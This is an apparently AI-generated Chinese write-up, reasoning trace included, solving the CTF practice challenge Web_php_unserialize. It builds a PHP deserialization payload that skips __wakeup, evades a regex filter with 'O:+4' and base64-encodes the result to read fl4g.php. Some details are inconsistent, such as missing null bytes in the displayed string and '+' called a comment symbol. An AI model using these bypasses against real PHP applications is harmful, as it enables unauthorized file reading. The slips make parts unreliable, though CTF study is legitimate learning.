攻防世界web新手题Web_php_unserialize
时间: 2025-07-13 17:37:11 浏览: 28
<think>好的,我现在需要帮助用户解决攻防世界中Web_php_unserialize的CTF题目。首先,用户希望了解解题思路,特别是针对PHP反序列化的新手题。我应该结合用户提供的引用内容来整理答案。
首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup的方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP反序列化的基础知识和phps文件的作用,可能对解题有帮助。
接下来,解题步骤可能需要包括以下部分:
1. **代码分析**:查看题目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。
2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。
3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。
4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。
5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合题目参数的要求。
6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。
在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。
此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。
最后,生成相关问题,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。
需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解题思路
#### 一、题目分析
1. **代码审查**
题目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下:
- 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。
- 反序列化入口通过`unserialize(base64_decode($_GET['var']))`接收参数[^5]。
- 存在正则过滤`preg_match('/[oc]:\d+:/i')`,阻止以`O:数字`开头的序列化字符串。
2. **漏洞定位**
目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制:
- **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。
- **绕过正则过滤**:调整序列化字符串格式。
---
#### 二、解题步骤
1. **构造恶意类**
假设题目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`:
```php
class Demo {
private $file = 'fl4g.php';
}
```
2. **生成序列化字符串**
- 序列化对象:
```php
$obj = new Demo();
$serialized = serialize($obj);
```
输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。
- **绕过`__wakeup()`**:
修改属性数量为**大于实际值**(如从`1`改为`2`):
```php
$payload = str_replace(':1:', ':2:', $serialized);
```
- **绕过正则过滤**:
将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码):
```php
$payload = preg_replace('/O:\d+/', 'O:+4', $payload);
```
3. **Base64编码**
题目要求参数`var`需Base64编码[^5]:
```php
$final_payload = base64_encode($payload);
```
4. **发送Payload**
通过URL传递参数:
```
http://题目地址?var=<?php echo $final_payload; ?>
```
---
#### 三、关键技巧
1. **魔术方法绕过**
- `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。
- `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。
2. **正则绕过**
- 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。
- 若过滤严格,可尝试Unicode编码或特殊符号注入。
---
#### 四、示例Payload
原始序列化字符串:
```
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
```
修改后:
```
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
```
Base64编码结果:
```
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
```
---
阅读全文
相关推荐



















